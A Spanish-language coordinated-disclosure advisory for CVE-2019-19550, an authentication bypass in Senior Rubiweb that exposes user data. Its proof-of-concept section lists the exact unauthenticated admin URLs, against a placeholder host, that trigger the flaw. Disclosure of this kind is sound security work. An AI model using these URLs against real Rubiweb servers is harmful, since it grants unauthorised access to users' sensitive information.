CVE-2019-19550

---

[Descripción]

Omisión de autenticación remota en Senior Rubiweb 6.2.34.28 y 6.2.34.37 permite el acceso de administrador a información sensible de los usuarios afectados utilizando versiones vulnerables. El atacante solo necesita proporcionar la URL correcta.

---

[Fechas importantes]

• Anuncio (al proveedor): 2019-12-02
• Fecha de divulgación pública: 2020-01-30

---

[Tipo de vulnerabilidad]

Control de acceso incorrecto

---

[Proveedor del producto]

Senior

---

[Código base del producto afectado]

• Rubiweb - 6.2.34.37
• Rubiweb - 6.2.34.28
• Otras versiones pueden estar afectadas, especialmente en la misma familia (no probadas aún)

---

[Componente afectado]

Rubiweb

---

[Tipo de ataque]

Remoto

---

[Divulgación de información de impacto]

Verdadero

---

[Vectores de ataque]

El acceso a información sensible está disponible públicamente sin requisitos especiales (solo la URI correcta)

---

[¿El proveedor ha confirmado o reconocido la vulnerabilidad?]

Verdadero

---

[PoC - Prueba de concepto]

1. Simplemente intente conectarse al portal autenticado para confirmar la existencia y versión del producto afectado:
   • hXXp://subdomain.customer.tld:8080/rubiweb/
2. Acceda a la página vulnerable (admin sin autenticación):
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=EXESENHA&SIS=FP&LOGINKIND=1
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=ENTRANCEREL&SIS=FP&NOME=FPIN103.ANU

---

[Descubridor]

Mauricio Santos (I+D UnderProtection) y Hesron Hori (I+D UnderProtection)

---

[Agradecimientos]

Senior - Equipo de Seguridad de la Información del proveedor que colaboró en una divulgación coordinada

---

[Referencia]

• https://www.underprotection.com.br
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm#central-de-configuracao/CfgWebApplicationsForm.htm%23CfgWebApplicationsForm_edtUserName